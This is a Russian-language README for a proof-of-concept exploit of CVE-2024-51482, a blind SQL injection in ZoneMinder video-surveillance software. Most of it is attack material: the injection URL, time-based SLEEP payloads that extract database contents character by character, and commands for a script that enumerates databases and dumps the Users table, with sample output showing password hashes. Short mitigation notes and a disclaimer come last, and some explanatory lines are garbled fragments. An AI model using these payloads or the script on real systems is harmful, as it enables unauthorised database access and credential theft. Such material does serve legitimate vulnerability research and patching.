
ZenoMinder Слепая SQL-инъекция PoC
CVE-2024-51482 — это критическая уязвимость логической SQL-инъекции, обнаруженная в ZoneMinder, популярном ПО с открытым исходным кодом для видеонаблюдения. Эта ошибка затрагивает версии с 1.37.* по 1.37.64 и позволяет аутентифицированным злоумышленникам с низкими привилегиями выполнять произвольные SQL-запросы к базе данных.
| Параметр | Значение |
|---|---|
| CVE ID | CVE-2024-51482 |
| CVSS Score | 9.9 (Critical) |
| Вектор атаки | Сетевой |
| Требуемые привилегии | Низкие |
| Взаимодействие с пользователем | Нет |
| Область действия | Изменяемая |
| Влияние | Конфиденциальность, Целостность, Доступность – ВЫСОКОЕ |
| Исправленная версия | 1.37.65 |
Уязвимость находится в файле web/ajax/event.php в функции removetag. Параметр tid (идентификатор тега) напрямую конкатенируется в SQL-запрос без надлежащей санитизации или параметризации.
Уязвимый код:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$rowCount = dbNumRows($sql);
// ...
Исправленный код:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query
Уязвимая точка запускается через:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[ИНЪЕКЦИЯ]
Точка инъекции не возвращает результат запроса напрямую в ответе, что делает невозможными традиционные атаки на основе UNION. Вместо этого мы должны извлекать информацию с помощью логических условий или временных задержек.
Наш эксплойт использует временное извлечение с помощью функции SLEEP():
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
Когда это условие истинно, база данных засыпает на 2 секунды, создавая измеримую задержку в HTTP-ответе.
ASCII(SUBSTRING()) > MID.SLEEP срабатывает.Пример полезной нагрузки для извлечения символа на позиции 1:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# Клонирование репозитория
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# Сделать скрипт исполняемым
chmod +x CVE-2024-51482.py
# Установка необходимых зависимостей
pip3 install requests
# Проверка, уязвима ли цель
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test
# Обнаружение всех баз данных
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
# Список таблиц в определённой базе данных
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm
# Список столбцов в определённой таблице
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users
# Извлечение данных из определённых столбцов
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"
# Извлечение таблицы пользователей (по умолчанию)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
# Включить отладочный вывод для подробного процесса извлечения
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug
# Настроить время ожидания для более надёжного извлечения
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3
# Отключить цветной вывод
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color
Пример 1: Проверка уязвимости
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
Пример 2: Перечисление баз данных
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found:
1. information_schema
2. performance_schema
3. zm
Пример 3: Извлечение учётных данных пользователей
$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2
User: admin
Pass: $2y$10$...hashed...
Email: admin@localhost
Enabled: 1
User: operator
Pass: $2y$10$...hashed...
Email: operator@localhost
Enabled: 1
Пример 4: Пользовательское извлечение данных
# Извлечение определённых столбцов из таблицы Events
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2), чтобы проверить, работает ли инъекция.ASCII(SUBSTRING(({query}), {position}, 1)) > {mid}.SLEEP срабатывает → Ответ задерживается.sudo apt-get update
sudo apt-get install zoneminder
# Конфигурация Apache
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
Этот инструмент предоставляется только для образовательных целей и целей тестирования безопасности. Несанкционированное тестирование компьютерных систем незаконно. Всегда получайте соответствующее разрешение перед тестированием любой системы.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Параметр | Значение |
|---|
| Вектор атаки | Сетевой |
| Сложность атаки | Низкая |
| Требуемые привилегии | Низкие |
| Взаимодействие с пользователем | Нет |
| Область действия | Изменяемая |
| Конфиденциальность | Высокая |
| Целостность | Высокая |
| Доступность | Высокая |